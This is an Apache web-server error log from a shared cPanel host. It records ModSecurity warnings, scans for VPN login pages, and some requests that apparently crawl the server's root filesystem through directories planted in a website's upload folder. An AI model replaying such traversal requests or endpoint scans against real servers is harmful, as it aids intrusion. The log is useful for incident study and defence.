[Fri Jul 17 09:12:22.622485 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almknkkXT4NBqALj2lZ_eAAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:12:22.629475 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/dentry/shrink
[Fri Jul 17 09:12:22.850824 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:22.893418 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:23.346316 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:23.449763 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:23.755169 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:24.059644 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:24.166774 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:24.267880 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:24.618823 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:24.773271 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:24.896381 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:24.991083 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:25.230187 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:25.348310 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:25.514124 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:25.736530 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/kmalloc-rcl-8/store_user
[Fri Jul 17 09:12:26.500900 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:27.227911 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:27.595930 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:29.105473 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:29.461480 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:29.663984 2026] [autoindex:error] [pid 2019501:tid 2019501] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:12:30.476385 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/srcutree/uevent
[Fri Jul 17 09:12:30.718397 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:30.835411 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:32/subsystem/ttyS2/device/power/control"] [unique_id "almkpiRF0UOO1RzB5_8wxQAAAA4"]
[Fri Jul 17 09:12:30.835443 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:32/subsystem/ttyS2/device/power/control"] [unique_id "almkpiRF0UOO1RzB5_8wxQAAAA4"]
[Fri Jul 17 09:12:31.049656 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:31.158291 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:31.408188 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:31.707927 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:31.880095 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:31.880870 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:31.880945 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:31.880983 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:32.328398 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:32.517477 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:32.629188 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:32.735567 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:32.841184 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:0/driver/1-1/remove
[Fri Jul 17 09:12:33.087835 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:33.267333 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:33.370311 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:33.901343 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:33.917631 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/hid_ntrig/drivers/hid:ntrig/unbind
[Fri Jul 17 09:12:34.375743 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:34.478447 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:34.580227 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:35.411912 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:35.543638 2026] [autoindex:error] [pid 2028246:tid 2028246] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:12:35.736280 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:36.518791 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:37.145156 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:37.367371 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:38.141848 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-global": Permission denied [hostname "visionsolutionshospital.com"] [uri "/index.php"] [unique_id "almkrCRF0UOO1RzB5_8wzAAAAA4"]
[Fri Jul 17 09:12:38.141897 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-ip": Permission denied [hostname "visionsolutionshospital.com"] [uri "/index.php"] [unique_id "almkrCRF0UOO1RzB5_8wzAAAAA4"]
[Fri Jul 17 09:12:38.149601 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:38.150076 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-Module-Load/"] [unique_id "almkrg5GPQ6hs4VrfMpEeAAAAAY"]
[Fri Jul 17 09:12:38.150110 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-Module-Load/"] [unique_id "almkrg5GPQ6hs4VrfMpEeAAAAAY"]
[Fri Jul 17 09:12:38.302914 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:39.250678 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:39.515752 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:39.924934 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:39.925143 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:40.784666 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:40.995645 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:40.995730 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:40.995768 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:41.197793 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:41.405707 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS1/uartclk
[Fri Jul 17 09:12:41.782633 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:41.790458 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:41.790678 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:41.791038 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-mdb2/docs/"] [unique_id "almksTsMb3am0TgkjETdXgAAAAo"]
[Fri Jul 17 09:12:41.791066 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-mdb2/docs/"] [unique_id "almksTsMb3am0TgkjETdXgAAAAo"]
[Fri Jul 17 09:12:41.882504 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:41.921738 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:42.026924 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:42.028602 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:44432] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:42.235378 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS1/flags
[Fri Jul 17 09:12:42.356916 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:42.549912 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:42.550132 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:42.757759 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:42.758122 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:42.963261 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:43.085675 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:43.168756 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:43.477255 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:43.882082 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:44.087833 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:44.213799 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:44.358939 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:45.404598 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:45.703295 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS2/uartclk
[Fri Jul 17 09:12:45.778065 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 167.148.201.84:10034] AH00035: access to /400.shtml denied (filesystem path '/home/cloudtourssrilan/public_html/400.shtml') because search permissions are missing on a component of the path
[Fri Jul 17 09:12:45.784652 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:45.922744 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 57.141.18.92:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory133/node0/memory16/subsystem/drivers_probe
[Fri Jul 17 09:12:45.947420 2026] [security2:error] [pid 2013829:tid 2013829] [client 167.148.201.84:10036] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/+webvpn+/index.html"] [unique_id "almktQ7FYe46zHK_jL3ShAAAABk"]
[Fri Jul 17 09:12:45.996997 2026] [security2:error] [pid 2013829:tid 2013829] [client 167.148.201.84:10036] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/+CSCOE+/logon.html"] [unique_id "almktQ7FYe46zHK_jL3ShQAAABk"]
[Fri Jul 17 09:12:46.045837 2026] [security2:error] [pid 2013829:tid 2013829] [client 167.148.201.84:10036] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/remote/login"] [unique_id "almktg7FYe46zHK_jL3ShgAAABk"]
[Fri Jul 17 09:12:46.105887 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:46.327816 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:46.506767 2026] [security2:error] [pid 2013829:tid 2013829] [client 167.148.201.84:10036] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/global-protect/prelogin.esp"] [unique_id "almktg7FYe46zHK_jL3ShwAAABk"]
[Fri Jul 17 09:12:46.631526 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:46.736005 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:46.882996 2026] [security2:error] [pid 2013797:tid 2013797] [client 167.148.201.84:10042] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/dana-na"] [unique_id "almktlh1WDijTxd1xw5PCgAAAAc"]
[Fri Jul 17 09:12:46.886285 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:46.933703 2026] [security2:error] [pid 2013797:tid 2013797] [client 167.148.201.84:10042] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/sslvpnclient"] [unique_id "almktlh1WDijTxd1xw5PCwAAAAc"]
[Fri Jul 17 09:12:47.175533 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:47.384805 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:47.697935 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS3/uartclk
[Fri Jul 17 09:12:47.804889 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:47.905482 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:48.210818 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:64/device/phys"] [unique_id "almkuEkXT4NBqALj2lZ_lAAAABA"]
[Fri Jul 17 09:12:48.210855 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:64/device/phys"] [unique_id "almkuEkXT4NBqALj2lZ_lAAAABA"]
[Fri Jul 17 09:12:48.321815 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:48.356016 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:48.415416 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/driver/unbind
[Fri Jul 17 09:12:48.625958 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:48.725268 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.038716 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.240410 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.346136 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.355589 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.627855 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.651936 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.679695 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.862197 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.959397 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:49.985474 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:44876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:50.007021 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.063433 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.073301 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.262607 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.278277 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.361842 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.376904 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.404229 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.463501 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.476835 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.490397 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.563209 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.656489 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:50.814266 2026] [security2:error] [pid 1993572:tid 1993572] [client 16.58.56.214:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almkuol9vhFBGA6D8l98wQAAAAw"]
[Fri Jul 17 09:12:50.866345 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/mouse2/device/capabilities/abs"] [unique_id "almkuvwooI4qY7Jg93pYNgAAABM"]
